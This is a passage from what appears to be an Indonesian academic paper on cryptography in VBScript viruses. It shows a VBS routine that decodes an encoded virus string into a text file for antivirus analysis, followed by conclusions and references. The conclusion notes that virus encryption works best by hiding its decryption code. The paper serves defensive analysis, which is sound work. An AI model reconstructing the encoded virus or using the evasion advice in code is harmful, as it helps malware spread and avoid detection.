›ß¸±±›ïê›´«21„„Þêëôñäíðîßíäñà›ß21„„Þêëô Üðïêíð
éßíäñà›ß21„Éàóï21çêêë21"
Dim teks
For I = 1 To Len(cipher)
        baca = Asc(Mid(cipher, I, 1))
        If baca = 48 Then
                tukar = Chr(34)
        ElseIf baca = 49 Then
                tukar = Chr(10)
        ElseIf baca = 50 Then
                tukar = Chr(13)
        ElseIf baca = 51 Then
                tukar = Chr(40)
        ElseIf baca = 52 Then
                tukar = Chr(41)
        Else
                tukar = Chr(baca - 123)
        End If
teks = teks & tukar
Next
Set fso =
CreateObject("Scripting.FileSystemObject")
Set hasil=fso.createtextfile("virusasli.txt")
hasil.write teks
hasil.close
```

File ini akan menghasikan file ‘virusasli.txt’ yang berisi kode hasil dekripsi yang setelah dilihat merupakan source code dari virus ‘x.vbs’. Dari file ini sang pembuat antivirus dapat melihat fungsi-fungsi apa saja yang dilakukan oleh virus sehingga ia dapat membuat antivirus untuk membersihkan komputer korban dari virus x.vbs ini.

4. Kesimpulan

Virus dalam bentuk visual basic script sebenarnya mudah untuk dibersihkan walaupun virus tersebut sudah memakai teknik-teknik kriptografi yang ada. Hal ini dikarenakan virus VBS tidak bisa tidak harus menyertakan kode pendekripsiannya dalam file virus tersebut. Serumit apapun algoritma kriptografi yang digunakan, semuanya akan sia-sia jika kode untuk mendekripsikannya dapat dengan mudah dibaca. Yang penting dalam pengenkripsian virus bukanlah algoritma dalam mengenkripsi source code virus tersebut, melainkan bagaimana cara untuk menyamarkan kode dekripsi sehingga sulit untuk ditemukan dan sulit untuk dibaca oleh orang lain.

DAFTAR PUSTAKA

[1] Munir, Rinaldi. 2006. Diktat Kuliah IF5054 Kriptografi, Departemen Teknik Informatika Institut Teknologi Bandung

[2] http://www.multimediastdi.com/articles-dmm/rickscon/76-ceritanya-hewllet-packard.html

[3] http://id.wikipedia.org/wiki/VBScript

[4] Fakhrou, Martani. 2008. Pro Decrypting VBScript Viruses. MARTANI eXpress.